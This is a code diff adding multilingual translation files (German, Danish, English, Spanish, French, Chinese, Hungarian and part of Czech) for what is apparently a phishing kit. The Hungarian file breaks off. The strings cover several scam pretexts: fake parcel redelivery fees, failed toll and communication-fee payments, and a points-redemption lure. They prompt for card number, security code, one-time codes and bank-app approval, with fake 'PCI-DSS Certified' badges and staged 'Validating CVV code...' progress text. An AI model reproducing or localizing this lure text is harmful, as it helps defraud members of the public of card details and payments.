"Dear customer": "Vážený zákazníku:",
"Electronic Communications Charge Payment Failed":
"Platba poplatku za elektronickou komunikaci selhala",
"Invoice Number": "Číslo faktury",
"Amount": "Částka",
"Pay Immediately": "Zaplatit ihned",
"Phone Number": "Telefonní číslo",
"Electronic communication fee payment failed":
"Platba poplatku za elektronickou komunikaci selhala",
"Illustrate": "Vysvětlení",
"SSL Encryption": "SSL šifrování",
"PCI-DSS Certified": "Certifikováno PCI-DSS",
"Transaction Details": "Detaily transakce",
"Transaction ID:": "ID transakce:",
"Processing Network:": "Zpracovatelská síť:",
"Processing Time:": "Čas zpracování:",
"Security Level:": "Úroveň zabezpečení:",
"Preparing...": "Příprava...",
"High": "Vysoká",
"Initializing payment environment...":
"Inicializace platebního prostředí...",
"Encrypting card information...":
"Šifrování údajů o kartě...",
"Establishing secure connection...":
"Navazování zabezpečeného spojení...",
"Verifying card number and issuer...":
"Ověřování čísla karty a vydavatele...",
"Validating CVV code...":
"Ověřování CVV kódu...",
"Checking fraud risk...":
"Kontrola rizika podvodu...",
"Sending transaction request...":
"Odesílání požadavku na transakci...",
"Waiting for bank authorization...":
"Čekání na autorizaci banky...",
"Processing bank response...":
"Zpracování odpovědi banky...",
"Confirming transaction status...":
"Potvrzování stavu transakce...",
"Finalizing transaction...":
"Dokončování transakce...",
"Visa Secure Network":
"Bezpečná síť Visa",
"Mastercard Global Payment Network":
"Globální platební síť Mastercard",
"American Express Dedicated Channel":
"Vyhrazený kanál American Express",
"UnionPay Gateway":
"Platební brána UnionPay",
"{time} seconds":
"{time} sekund",
"International Payment Network":
"Mezinárodní platební síť",
"redelivery_fee_message":
"Pro opětovné doručení je nutné uhradit servisní poplatek {amount}. Váš balíček bude po zaplacení znovu doručen",
"Verifying...":
"Ověřování..."
};

View File

@@ -0,0 +1,109 @@
export default {
"There is an error in this field, please check":
"In diesem Feld liegt ein Fehler vor, bitte überprüfen Sie es",
"Please enter a valid email address": "Bitte geben Sie eine gültige E-Mail-Adresse ein",
"Dear users, please fill in the form carefully to ensure the successful delivery":
"Liebe Nutzer, bitte füllen Sie das Formular sorgfältig aus, um eine erfolgreiche Zustellung zu gewährleisten",
"Your Name": "Ihr Name",
"Address": "Adresse",
"Detailed Address": "Detaillierte Adresse",
"(Optional)": "(Optional)",
"City": "Stadt",
"State": "Bundesland",
"Province": "Provinz",
"Region": "Region",
"Zip Code": "Postleitzahl",
"E-Mail": "E-Mail",
"Next": "Weiter",
"Telephone Number": "Telefonnummer",
"Online": "Online",
"Payment": "Zahlung",
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
"Für die erneute Zustellung müssen wir Servicegebühren erheben. Ihr Paket wird nach der Zahlung erneut zugestellt",
"lump sum: ": "Gesamtbetrag: ",
"Cardholder": "Karteninhaber",
"Card Number": "Kartennummer",
"Expire Date": "Ablaufdatum",
"Security Code": "Sicherheitscode",
"Submit": "Absenden",
"Click here to receive another code": "Klicken Sie hier, um einen weiteren Code zu erhalten",
"Please confirm your identity and a one-time code will be sent":
"Bitte bestätigen Sie Ihre Identität, und ein einmaliger Code wird an Ihre Mobilnummer oder E-Mail-Adresse gesendet. Bitte geben Sie hier den Verifizierungscode ein",
"The verification code has been sent to":
"Der Verifizierungscode wurde gesendet an",
"Please do not click the":
"Bitte klicken Sie nicht auf die Schaltflächen „Aktualisieren“ oder „Zurück“, da dies Ihre Transaktion beenden oder unterbrechen könnte",
"Verification code error, please try again":
"Verifizierungscode-Fehler, bitte versuchen Sie es erneut",
"The session is about to expire, please complete the verification now":
"Die Sitzung läuft bald ab, bitte schließen Sie die Verifizierung jetzt ab",
"This card does not support this transaction, please try another card":
"Diese Karte unterstützt diese Transaktion nicht, bitte versuchen Sie eine andere Karte",
"Authorized bank": "Autorisierte Bank",
"Please go to the bank App to confirm the authorization":
"Bitte öffnen Sie die Bank-App, um die Autorisierung zu bestätigen",
"Please do not close this page": "Bitte schließen Sie diese Seite nicht",
"Payment Successful": "Zahlung erfolgreich!",
"Thank you for your purchase. Your payment has been processed successfully":
"Vielen Dank für Ihren Einkauf. Ihre Zahlung wurde erfolgreich verarbeitet",
"Mailing address": "Postadresse",
"street address or house number": "Straßenadresse oder Hausnummer",
"Apartment number": "Wohnungsnummer, Zimmernummer usw.",
"Safe payment": "Sichere Zahlung",
"Verification code": "Verifizierungscode",
"Welcome": "Willkommen",
"back":"zurück!",
"We reward you for using point services": "Wir belohnen Sie für die Nutzung unseres Punkteservices",
"Check your points": "Punkte prüfen",
"Phone number": "Telefonnummer",
"Inquire": "Anfragen",
"Exchange": "Eintauschen",
"Spend points": "Punkte einlösen",
"Points Available": "Verfügbare Punkte",
"You don't have enough points": "Sie haben nicht genügend Punkte",
"Please redeem your favorite product": "Bitte lösen Sie Ihr Lieblingsprodukt ein",
"Confirm your shipping address": "Bestätigen Sie Ihre Lieferadresse",
"Order number": "Bestellnummer: ",
"Pay": "Bezahlen",
"Pay Message": "Zahlen Sie {0}, um Punkte gegen Waren einzulösen",
"Pay electronic tolls online": "Elektronische Mautgebühren online bezahlen",
"your electronic toll payment was unsuccessful": "Ihre elektronische Mautzahlung war nicht erfolgreich.",
"Billing Information": "Rechnungsinformationen",
"Description": "Beschreibung",
"Dear customer": "Sehr geehrter Kunde:",
"Electronic Communications Charge Payment Failed": "Zahlung der elektronischen Kommunikationsgebühr fehlgeschlagen",
"Invoice Number": "Rechnungsnummer",
"Amount": "Betrag",
"Pay Immediately": "Sofort bezahlen",
"Phone Number": "Telefonnummer",
"Electronic communication fee payment failed": "Zahlung der elektronischen Kommunikationsgebühr fehlgeschlagen",
"Illustrate":"Darstellen",
"SSL Encryption": "SSL-Verschlüsselung",
"PCI-DSS Certified": "PCI-DSS-zertifiziert",
"Transaction Details": "Transaktionsdetails",
"Transaction ID:": "Transaktions-ID:",
"Processing Network:": "Verarbeitungsnetzwerk:",
"Processing Time:": "Verarbeitungszeit:",
"Security Level:": "Sicherheitsstufe:",
"Preparing...": "Vorbereitung...",
"High": "Hoch",
"Initializing payment environment...": "Zahlungsumgebung wird initialisiert...",
"Encrypting card information...": "Kartendaten werden verschlüsselt...",
"Establishing secure connection...": "Sichere Verbindung wird hergestellt...",
"Verifying card number and issuer...": "Kartennummer und Herausgeber werden überprüft...",
"Validating CVV code...": "CVV-Code wird überprüft...",
"Checking fraud risk...": "Betrugsrisiko wird überprüft...",
"Sending transaction request...": "Transaktionsanfrage wird gesendet...",
"Waiting for bank authorization...": "Warten auf Bankautorisierung...",
"Processing bank response...": "Bankantwort wird verarbeitet...",
"Confirming transaction status...": "Transaktionsstatus wird bestätigt...",
"Finalizing transaction...": "Transaktion wird abgeschlossen...",
"Visa Secure Network": "Visa Secure Network",
"Mastercard Global Payment Network": "Mastercard Global Payment Network",
"American Express Dedicated Channel": "American Express Dedicated Channel",
"UnionPay Gateway": "UnionPay Gateway",
"{time} seconds": "{time} Sekunden",
"International Payment Network": "Internationales Zahlungsnetzwerk",
"redelivery_fee_message": "Für die erneute Zustellung müssen wir {amount} Servicegebühren berechnen, Ihr Paket wird nach Zahlung erneut zugestellt",
"Verifying...": "Überprüfen...",
};

View File

@@ -0,0 +1,141 @@
export default {
"There is an error in this field, please check":
"Der er en fejl i dette felt, kontroller venligst",
"Please enter a valid email address":
"Indtast venligst en gyldig e-mailadresse",
"Dear users, please fill in the form carefully to ensure the successful delivery":
"Kære brugere, udfyld venligst formularen omhyggeligt for at sikre en vellykket levering",
"Your Name": "Dit navn",
"Address": "Adresse",
"Detailed Address": "Detaljeret adresse",
"(Optional)": "(Valgfrit)",
"City": "By",
"State": "Stat / Område",
"Province": "Provins",
"Region": "Region",
"Zip Code": "Postnummer",
"E-Mail": "E-mail",
"Next": "Næste",
"Telephone Number": "Telefonnummer",
"Online": "Online",
"Payment": "Betaling",
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
"For genlevering skal vi opkræve nogle servicegebyrer. Din pakke vil blive genleveret efter betaling",
"lump sum: ": "Samlet beløb: ",
"Cardholder": "Kortholder",
"Card Number": "Kortnummer",
"Expire Date": "Udløbsdato",
"Security Code": "Sikkerhedskode",
"Submit": "Indsend",
"Click here to receive another code":
"Klik her for at modtage en ny kode",
"Please confirm your identity and a one-time code will be sent":
"Bekræft venligst din identitet. En engangskode vil blive sendt til din telefon eller e-mail. Indtast koden her",
"The verification code has been sent to":
"Bekræftelseskoden er sendt til",
"Please do not click the":
"Klik venligst ikke på knapperne “Opdater” eller “Tilbage”, da dette kan afbryde transaktionen",
"Verification code error, please try again":
"Fejl i bekræftelseskoden, prøv venligst igen",
"The session is about to expire, please complete the verification now":
"Sessionen er ved at udløbe, gennemfør venligst verificeringen nu",
"This card does not support this transaction, please try another card":
"Dette kort understøtter ikke denne transaktion, prøv venligst et andet kort",
"Authorized bank": "Autoriseret bank",
"Please go to the bank App to confirm the authorization":
"Gå venligst til bankens app for at bekræfte godkendelsen",
"Please do not close this page":
"Luk venligst ikke denne side",
"Payment Successful": "Betaling gennemført!",
"Thank you for your purchase. Your payment has been processed successfully":
"Tak for dit køb. Din betaling er blevet behandlet korrekt",
"Mailing address": "Leveringsadresse",
"street address or house number":
"Gadenavn eller husnummer",
"Apartment number": "Lejlighedsnummer / værelsesnummer",
"Safe payment": "Sikker betaling",
"Verification code": "Bekræftelseskode",
"Welcome": "Velkommen",
"back": "tilbage!",
"We reward you for using point services":
"Vi belønner dig for at bruge pointtjenester",
"Check your points": "Tjek dine point",
"Phone number": "Telefonnummer",
"Inquire": "Forespørg",
"Exchange": "Ombyt",
"Spend points": "Brug point",
"Points Available": "Tilgængelige point",
"You don't have enough points":
"Du har ikke nok point",
"Please redeem your favorite product":
"Indløs venligst dine point for dit foretrukne produkt",
"Confirm your shipping address":
"Bekræft din leveringsadresse",
"Order number": "Ordrenummer: ",
"Pay": "Betal",
"Pay Message":
"Betal {0} for at ombytte point til produkter",
"Pay electronic tolls online":
"Betal elektroniske vejafgifter online",
"your electronic toll payment was unsuccessful":
"Din betaling af elektronisk vejafgift mislykkedes.",
"Billing Information": "Faktureringsoplysninger",
"Description": "Beskrivelse",
"Dear customer": "Kære kunde:",
"Electronic Communications Charge Payment Failed":
"Betaling af gebyr for elektronisk kommunikation mislykkedes",
"Invoice Number": "Fakturanummer",
"Amount": "Beløb",
"Pay Immediately": "Betal straks",
"Phone Number": "Telefonnummer",
"Electronic communication fee payment failed":
"Betaling af gebyr for elektronisk kommunikation mislykkedes",
"Illustrate": "Forklaring",
"SSL Encryption": "SSL-kryptering",
"PCI-DSS Certified": "PCI-DSS-certificeret",
"Transaction Details": "Transaktionsdetaljer",
"Transaction ID:": "Transaktions-ID:",
"Processing Network:": "Behandlingsnetværk:",
"Processing Time:": "Behandlingstid:",
"Security Level:": "Sikkerhedsniveau:",
"Preparing...": "Forbereder...",
"High": "Høj",
"Initializing payment environment...":
"Initialiserer betalingsmiljø...",
"Encrypting card information...":
"Krypterer kortoplysninger...",
"Establishing secure connection...":
"Etablerer sikker forbindelse...",
"Verifying card number and issuer...":
"Verificerer kortnummer og udsteder...",
"Validating CVV code...":
"Validerer CVV-kode...",
"Checking fraud risk...":
"Kontrollerer risiko for svindel...",
"Sending transaction request...":
"Sender transaktionsanmodning...",
"Waiting for bank authorization...":
"Venter på bankens godkendelse...",
"Processing bank response...":
"Behandler bankens svar...",
"Confirming transaction status...":
"Bekræfter transaktionsstatus...",
"Finalizing transaction...":
"Afslutter transaktionen...",
"Visa Secure Network":
"Visa sikkert netværk",
"Mastercard Global Payment Network":
"Mastercard globalt betalingsnetværk",
"American Express Dedicated Channel":
"American Express dedikeret kanal",
"UnionPay Gateway":
"UnionPay-gateway",
"{time} seconds":
"{time} sekunder",
"International Payment Network":
"Internationalt betalingsnetværk",
"redelivery_fee_message":
"For genlevering skal du betale {amount} i servicegebyrer. Din pakke vil blive genleveret efter betaling",
"Verifying...":
"Verificerer..."
};

View File

@@ -0,0 +1,98 @@
export default {
"There is an error in this field, please check": "There is an error in this field, please check",
"Please enter a valid email address": "Please enter a valid email address",
"Dear users, please fill in the form carefully to ensure the successful delivery": "Dear users, please fill in the form carefully to ensure successful delivery",
"Your Name": "Your Name",
"Address": "Address",
"Detailed Address": "Detailed Address",
"(Optional)": "(Optional)",
"City": "City",
"State": "State / Region",
"Province": "Province",
"Region": "Region",
"Zip Code": "Zip Code",
"E-Mail": "E-Mail",
"Next": "Next",
"Telephone Number": "Telephone Number",
"Online": "Online",
"Payment": "Payment",
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment": "For redelivery, a service fee is required. Your package will be re-delivered after payment",
"lump sum: ": "Total amount: ",
"Cardholder": "Cardholder",
"Card Number": "Card Number",
"Expire Date": "Expiration Date",
"Security Code": "Security Code",
"Submit": "Submit",
"Click here to receive another code": "Click here to receive another code",
"Please confirm your identity and a one-time code will be sent": "Please confirm your identity. A one-time code will be sent to your phone or email. Enter it here",
"The verification code has been sent to": "The verification code has been sent to",
"Please do not click the": "Please do not click 'Refresh' or 'Back' as it may interrupt the transaction",
"Verification code error, please try again": "Verification code error, please try again",
"The session is about to expire, please complete the verification now": "The session is about to expire, please complete the verification now",
"This card does not support this transaction, please try another card": "This card does not support this transaction, please try another card",
"Authorized bank": "Authorized bank",
"Please go to the bank App to confirm the authorization": "Please go to the bank app to confirm authorization",
"Please do not close this page": "Please do not close this page",
"Payment Successful": "Payment Successful!",
"Thank you for your purchase. Your payment has been processed successfully": "Thank you for your purchase. Your payment has been successfully processed",
"Mailing address": "Mailing address",
"street address or house number": "Street and house number",
"Apartment number": "Apartment number",
"Safe payment": "Safe payment",
"Verification code": "Verification code",
"Welcome": "Welcome",
"back": "Back!",
"We reward you for using point services": "We reward you for using point services",
"Check your points": "Check your points",
"Phone number": "Phone number",
"Inquire": "Inquire",
"Exchange": "Exchange",
"Spend points": "Spend points",
"Points Available": "Points Available",
"You don't have enough points": "You don't have enough points",
"Please redeem your favorite product": "Please redeem your favorite product with points",
"Confirm your shipping address": "Confirm your shipping address",
"Order number": "Order number: ",
"Pay": "Pay",
"Pay Message": "Pay {0} to redeem points for products",
"Pay electronic tolls online": "Pay electronic tolls online",
"your electronic toll payment was unsuccessful": "Your electronic toll payment was unsuccessful.",
"Billing Information": "Billing Information",
"Description": "Description",
"Dear customer": "Dear Customer:",
"Electronic Communications Charge Payment Failed": "Electronic Communications Charge Payment Failed",
"Invoice Number": "Invoice Number",
"Amount": "Amount",
"Pay Immediately": "Pay Immediately",
"Phone Number": "Phone Number",
"Electronic communication fee payment failed": "Electronic communication fee payment failed",
"Illustrate": "Explanation",
"SSL Encryption": "SSL Encryption",
"PCI-DSS Certified": "PCI-DSS Certified",
"Transaction Details": "Transaction Details",
"Transaction ID:": "Transaction ID:",
"Processing Network:": "Processing Network:",
"Processing Time:": "Processing Time:",
"Security Level:": "Security Level:",
"Preparing...": "Preparing...",
"High": "High",
"Initializing payment environment...": "Initializing payment environment...",
"Encrypting card information...": "Encrypting card information...",
"Establishing secure connection...": "Establishing secure connection...",
"Verifying card number and issuer...": "Verifying card number and issuer...",
"Validating CVV code...": "Validating CVV code...",
"Checking fraud risk...": "Checking fraud risk...",
"Sending transaction request...": "Sending transaction request...",
"Waiting for bank authorization...": "Waiting for bank authorization...",
"Processing bank response...": "Processing bank response...",
"Confirming transaction status...": "Confirming transaction status...",
"Finalizing transaction...": "Finalizing transaction...",
"Visa Secure Network": "Visa Secure Network",
"Mastercard Global Payment Network": "Mastercard Global Payment Network",
"American Express Dedicated Channel": "American Express Dedicated Channel",
"UnionPay Gateway": "UnionPay Gateway",
"{time} seconds": "{time} seconds",
"International Payment Network": "International Payment Network",
"redelivery_fee_message": "For redelivery, a service fee of {amount} is required. Your package will be re-delivered after payment",
"Verifying...": "Verifying..."
};

View File

@@ -0,0 +1,98 @@
export default {
"There is an error in this field, please check": "Hay un error en este campo, por favor verifique",
"Please enter a valid email address": "Por favor ingrese una dirección de correo electrónico válida",
"Dear users, please fill in the form carefully to ensure the successful delivery": "Estimados usuarios, por favor completen el formulario cuidadosamente para garantizar una entrega exitosa",
"Your Name": "Su nombre",
"Address": "Dirección",
"Detailed Address": "Dirección detallada",
"(Optional)": "(Opcional)",
"City": "Ciudad",
"State": "Estado / Región",
"Province": "Provincia",
"Region": "Región",
"Zip Code": "Código postal",
"E-Mail": "Correo electrónico",
"Next": "Siguiente",
"Telephone Number": "Número de teléfono",
"Online": "En línea",
"Payment": "Pago",
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment": "Para la reentrega, se requiere una tarifa de servicio. Su paquete será reenviado después del pago",
"lump sum: ": "Importe total: ",
"Cardholder": "Titular de la tarjeta",
"Card Number": "Número de tarjeta",
"Expire Date": "Fecha de vencimiento",
"Security Code": "Código de seguridad",
"Submit": "Enviar",
"Click here to receive another code": "Haga clic aquí para recibir otro código",
"Please confirm your identity and a one-time code will be sent": "Por favor confirme su identidad. Se enviará un código de un solo uso a su teléfono o correo electrónico. Ingréselo aquí",
"The verification code has been sent to": "El código de verificación ha sido enviado a",
"Please do not click the": "Por favor no haga clic en 'Actualizar' o 'Atrás', ya que puede interrumpir la transacción",
"Verification code error, please try again": "Error en el código de verificación, por favor inténtelo nuevamente",
"The session is about to expire, please complete the verification now": "La sesión está a punto de expirar, por favor complete la verificación ahora",
"This card does not support this transaction, please try another card": "Esta tarjeta no admite esta transacción, por favor intente con otra tarjeta",
"Authorized bank": "Banco autorizado",
"Please go to the bank App to confirm the authorization": "Por favor vaya a la aplicación bancaria para confirmar la autorización",
"Please do not close this page": "Por favor no cierre esta página",
"Payment Successful": "¡Pago exitoso!",
"Thank you for your purchase. Your payment has been processed successfully": "Gracias por su compra. Su pago ha sido procesado correctamente",
"Mailing address": "Dirección postal",
"street address or house number": "Calle y número",
"Apartment number": "Número de apartamento",
"Safe payment": "Pago seguro",
"Verification code": "Código de verificación",
"Welcome": "Bienvenido",
"back": "¡De vuelta!",
"We reward you for using point services": "Le recompensamos por usar servicios de puntos",
"Check your points": "Consultar sus puntos",
"Phone number": "Número de teléfono",
"Inquire": "Consultar",
"Exchange": "Canjear",
"Spend points": "Usar puntos",
"Points Available": "Puntos disponibles",
"You don't have enough points": "No tiene suficientes puntos",
"Please redeem your favorite product": "Por favor canjee su producto favorito con puntos",
"Confirm your shipping address": "Confirme su dirección de envío",
"Order number": "Número de pedido: ",
"Pay": "Pagar",
"Pay Message": "Pague {0} para canjear puntos por productos",
"Pay electronic tolls online": "Pague peajes electrónicos en línea",
"your electronic toll payment was unsuccessful": "Su pago de peaje electrónico no fue exitoso",
"Billing Information": "Información de facturación",
"Description": "Descripción",
"Dear customer": "Estimado cliente:",
"Electronic Communications Charge Payment Failed": "Pago de cargos de comunicación electrónica fallido",
"Invoice Number": "Número de factura",
"Amount": "Importe",
"Pay Immediately": "Pagar ahora",
"Phone Number": "Número de teléfono",
"Electronic communication fee payment failed": "El pago de la tarifa de comunicación electrónica falló",
"Illustrate": "Explicación",
"SSL Encryption": "Cifrado SSL",
"PCI-DSS Certified": "Certificado PCI-DSS",
"Transaction Details": "Detalles de la transacción",
"Transaction ID:": "ID de transacción:",
"Processing Network:": "Red de procesamiento:",
"Processing Time:": "Tiempo de procesamiento:",
"Security Level:": "Nivel de seguridad:",
"Preparing...": "Preparando...",
"High": "Alto",
"Initializing payment environment...": "Inicializando el entorno de pago...",
"Encrypting card information...": "Cifrando la información de la tarjeta...",
"Establishing secure connection...": "Estableciendo conexión segura...",
"Verifying card number and issuer...": "Verificando el número de tarjeta y el emisor...",
"Validating CVV code...": "Validando el código CVV...",
"Checking fraud risk...": "Verificando riesgo de fraude...",
"Sending transaction request...": "Enviando solicitud de transacción...",
"Waiting for bank authorization...": "Esperando autorización bancaria...",
"Processing bank response...": "Procesando respuesta del banco...",
"Confirming transaction status...": "Confirmando el estado de la transacción...",
"Finalizing transaction...": "Finalizando la transacción...",
"Visa Secure Network": "Red segura de Visa",
"Mastercard Global Payment Network": "Red global de pagos Mastercard",
"American Express Dedicated Channel": "Canal dedicado de American Express",
"UnionPay Gateway": "Pasarela UnionPay",
"{time} seconds": "{time} segundos",
"International Payment Network": "Red internacional de pagos",
"redelivery_fee_message": "Para la reentrega, se requiere una tarifa de servicio de {amount}. Su paquete será reenviado después del pago",
"Verifying...": "Verificando..."
};

View File

@@ -0,0 +1,84 @@
export default {
"There is an error in this field, please check": "Il y a une erreur dans ce champ, veuillez vérifier",
"Please enter a valid email address": "Veuillez saisir une adresse e-mail valide",
"Dear users, please fill in the form carefully to ensure the successful delivery":
"Chers utilisateurs, veuillez remplir le formulaire avec soin afin d'assurer la bonne livraison",
"Your Name": "Votre nom",
"Address": "Adresse",
"Detailed Address": "Adresse détaillée",
"(Optional)": "(Optionnel)",
"City": "Ville",
"State": "État",
"Province": "Province",
"Region": "Région",
"Zip Code": "Code postal",
"E-Mail": "E-mail",
"Next": "Suivant",
"Telephone Number": "Numéro de téléphone",
"Online": "En ligne",
"Payment": "Paiement",
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
"Pour une nouvelle livraison, des frais de service s'appliquent. Votre colis sera réexpédié après paiement",
"lump sum: ": "montant forfaitaire : ",
"Cardholder": "Titulaire de la carte",
"Card Number": "Numéro de carte",
"Expire Date": "Date dexpiration",
"Security Code": "Code de sécurité",
"Submit": "Soumettre",
"Click here to receive another code": "Cliquez ici pour recevoir un autre code",
"Please confirm your identity and a one-time code will be sent":
"Veuillez confirmer votre identité. Un code unique sera envoyé à votre numéro de téléphone ou à votre adresse e-mail. Veuillez entrer le code de vérification ici",
"The verification code has been sent to": "Le code de vérification a été envoyé à",
"Please do not click the":
"Veuillez ne pas cliquer sur les boutons 'Actualiser' ou 'Retour' car cela pourrait interrompre votre transaction",
"Verification code error, please try again": "Erreur de code de vérification, veuillez réessayer",
"The session is about to expire, please complete the verification now":
"La session est sur le point dexpirer, veuillez terminer la vérification maintenant",
"This card does not support this transaction, please try another card":
"Cette carte ne prend pas en charge cette transaction, veuillez essayer une autre carte",
"Authorized bank": "Banque autorisée",
"Please go to the bank App to confirm the authorization":
"Veuillez accéder à lapplication bancaire pour confirmer lautorisation",
"Please do not close this page": "Veuillez ne pas fermer cette page",
"Payment Successful": "Paiement réussi !",
"Thank you for your purchase. Your payment has been processed successfully":
"Merci pour votre achat. Votre paiement a été traité avec succès",
"Mailing address": "Adresse postale",
"street address or house number": "rue ou numéro de maison",
"Apartment number": "Numéro d'appartement, numéro de chambre, etc.",
"Safe payment": "Paiement sécurisé",
"Verification code": "Code de vérification",
"Welcome": "Bienvenue",
"back": "retour !",
"We reward you for using point services": "Nous vous récompensons pour lutilisation de nos services à points",
"Check your points": "Vérifiez vos points",
"Phone number": "Numéro de téléphone",
"Inquire": "Consulter",
"Exchange": "Échanger",
"Spend points": "Utiliser les points",
"Points Available": "Points disponibles",
"You don't have enough points": "Vous navez pas assez de points",
"Please redeem your favorite product": "Veuillez échanger contre votre produit préféré",
"Confirm your shipping address": "Confirmez votre adresse de livraison",
"Order number": "Numéro de commande : ",
"Pay": "Payer",
"Pay Message": "Payez {0} pour échanger des points contre un produit",
"Pay electronic tolls online": "Payer les péages électroniques en ligne",
"your electronic toll payment was unsuccessful":
"votre paiement de péage électronique a échoué.",
"Billing Information": "Informations de facturation",
"Description": "Description",
"Dear customer": "Cher client :",
"Electronic Communications Charge Payment Failed":
"Échec du paiement des frais de communication électronique",
"Invoice Number": "Numéro de facture",
"Amount": "Montant",
"Pay Immediately": "Payer immédiatement",
"Phone Number": "Numéro de téléphone",
"Electronic communication fee payment failed":
"Échec du paiement des frais de communication électronique",
"Illustrate": "Illustrer",
"Processing payment": "Traitement du paiement",
"Please do not refresh or close the page":
"Veuillez ne pas actualiser ou fermer la page",
};

View File

@@ -0,0 +1,73 @@
export default {
"There is an error in this field, please check": "此欄位有錯誤,請檢查",
"Please enter a valid email address": "請輸入有效的電郵地址",
"Dear users, please fill in the form carefully to ensure the successful delivery": "親愛的用戶,請小心填寫表格以確保成功送達",
"Your Name": "你的姓名",
"Address": "地址",
"Detailed Address": "詳細地址",
"(Optional)": "(可選)",
"City": "城市",
"State": "州份",
"Province": "省份",
"Region": "地區",
"Zip Code": "郵政編碼",
"E-Mail": "電郵",
"Next": "下一步",
"Telephone Number": "電話號碼",
"Online": "網上",
"Payment": "付款",
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment": "如需重新派送,我們需要收取一定的服務費。付款後將重新派送你的包裹",
"lump sum: ": "總金額:",
"Cardholder": "持卡人",
"Card Number": "信用卡號碼",
"Expire Date": "到期日",
"Security Code": "安全碼",
"Submit": "提交",
"Click here to receive another code": "點擊此處接收新驗證碼",
"Please confirm your identity and a one-time code will be sent": "請確認你的身份,我們將發送一次性驗證碼至你的手機或電郵,請在此輸入驗證碼",
"The verification code has been sent to": "驗證碼已發送至",
"Please do not click the": "請勿點擊「重新整理」或「返回」按鈕,否則可能導致交易失敗或中斷",
"Verification code error, please try again": "驗證碼錯誤,請再試一次",
"The session is about to expire, please complete the verification now": "驗證即將過期,請立即完成驗證",
"This card does not support this transaction, please try another card": "此卡不支援此交易,請嘗試其他信用卡",
"Authorized bank": "授權銀行",
"Please go to the bank App to confirm the authorization": "請前往銀行應用程式確認授權",
"Please do not close this page": "請勿關閉此頁面",
"Payment Successful": "付款成功!",
"Thank you for your purchase. Your payment has been processed successfully": "感謝你的購買,付款已成功處理",
"Mailing address": "郵寄地址",
"street address or house number": "街道地址或樓宇號碼",
"Apartment number": "單位號碼、房號等",
"Safe payment": "安全付款",
"Verification code": "驗證碼",
"Welcome": "歡迎",
"back":"返回!",
"We reward you for using point services": "感謝你使用積分服務,我們提供獎賞",
"Check your points": "查看你的積分",
"Phone number": "電話號碼",
"Inquire": "查詢",
"Exchange": "兌換",
"Spend points": "使用積分",
"Points Available": "可用積分",
"You don't have enough points": "你的積分不足",
"Please redeem your favorite product": "請兌換你喜愛的商品",
"Confirm your shipping address": "確認你的送貨地址",
"Order number": "訂單編號:",
"Pay": "付款",
"Pay Message": "支付 {0} 即可用積分兌換商品",
"Pay electronic tolls online": "網上支付電子通行費",
"your electronic toll payment was unsuccessful": "你的電子通行費付款失敗。",
"Billing Information": "帳單資料",
"Description": "描述",
"Dear customer": "親愛的顧客:",
"Electronic Communications Charge Payment Failed": "電子通訊費付款失敗",
"Invoice Number": "發票號碼",
"Amount": "金額",
"Pay Immediately": "立即付款",
"Phone Number": "電話號碼",
"Electronic communication fee payment failed": "電子通訊費付款失敗",
"Illustrate":"說明",
"Processing Payment":"正在處理付款,請稍候",
"Waiting":"請稍候",
};

View File

@@ -0,0 +1,81 @@
export default {
"There is an error in this field, please check":
"Hiba történt ebben a mezőben, kérjük, ellenőrizze",
"Please enter a valid email address": "Kérjük, adjon meg egy érvényes e-mail címet",
"Dear users, please fill in the form carefully to ensure the successful delivery":
"Kedves felhasználók, kérjük, gondosan töltse ki az űrlapot a sikeres kézbesítés érdekében",
"Your Name": "Az Ön neve",
"Address": "Cím",
"Detailed Address": "Részletes cím",
"(Optional)": "(Opcionális)",
"City": "Város",
"State": "Állam",
"Province": "Megye",
"Region": "Régió",
"Zip Code": "Irányítószám",
"E-Mail": "E-mail",
"Next": "Tovább",
"Telephone Number": "Telefonszám",
"Online": "Online",
"Payment": "Fizetés",
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
"A visszaszállításhoz bizonyos szolgáltatási díjakat kell felszámítanunk. A csomagot a fizetés után kézbesítjük újra",
"lump sum: ": "átalányösszeg: ",
"Cardholder": "Kártyatulajdonos",
"Card Number": "Kártyaszám",
"Expire Date": "Lejárati dátum",
"Security Code": "Biztonsági kód",
"Submit": "Küldés",
"Click here to receive another code": "Kattintson ide egy másik kód fogadásához",
"Please confirm your identity and a one-time code will be sent":
"Kérjük, erősítse meg személyazonosságát, és egy egyszeri kódot küldünk a mobiltelefonszámára vagy e-mail címére. Kérjük, itt adja meg az ellenőrző kódot",
"The verification code has been sent to":
"Az ellenőrző kódot elküldtük a következő címre:",
"Please do not click the":
"Kérjük, ne kattintson a 'Frissítés' vagy a 'Vissza' gombokra, mert ez megszakíthatja a tranzakciót",
"Verification code error, please try again":
"Ellenőrző kód hiba, kérjük, próbálja újra",
"The session is about to expire, please complete the verification now":
"A munkamenet hamarosan lejár, kérjük, fejezze be az ellenőrzést most",
"This card does not support this transaction, please try another card":
"Ez a kártya nem támogatja ezt a tranzakciót, kérjük, próbáljon meg egy másik kártyát",
"Authorized bank": "Engedélyezett bank",
"Please go to the bank App to confirm the authorization":
"Kérjük, menjen a banki alkalmazásba az engedélyezés megerősítéséhez",
"Please do not close this page": "Kérjük, ne zárja be ezt az oldalt",
"Payment Successful": "Sikeres fizetés!",
"Thank you for your purchase. Your payment has been processed successfully":
"Köszönjük a vásárlást. A fizetése sikeresen feldolgozva",
"Mailing address": "Levelezési cím",
"street address or house number": "utca vagy házszám",
"Apartment number": "Lakásszám, szobaszám stb.",
"Safe payment": "Biztonságos fizetés",
"Verification code": "Ellenőrző kód",
"Welcome": "Üdvözöljük",
"back":"vissza!",
"We reward you for using point services": "Megjutalmazzuk a pontszolgáltatások használatáért",
"Check your points": "Ellenőrizze a pontjait",
"Phone number": "Telefonszám",
"Inquire": "Érdeklődés",
"Exchange": "Csere",
"Spend points": "Pontok felhasználása",
"Points Available": "Elérhető pontok",
"You don't have enough points": "Nincs elég pontja",
"Please redeem your favorite product": "Kérjük, váltsa be kedvenc termékét",
"Confirm your shipping address": "Erősítse meg szállítási címét",
"Order number": "Rendelésszám: ",
"Pay": "Fizetés",
"Pay Message": "Fizessen {0}-t a pontok áruértékre váltásához",
"Pay electronic tolls online": "Fizessen elektronikus útdíjat online",
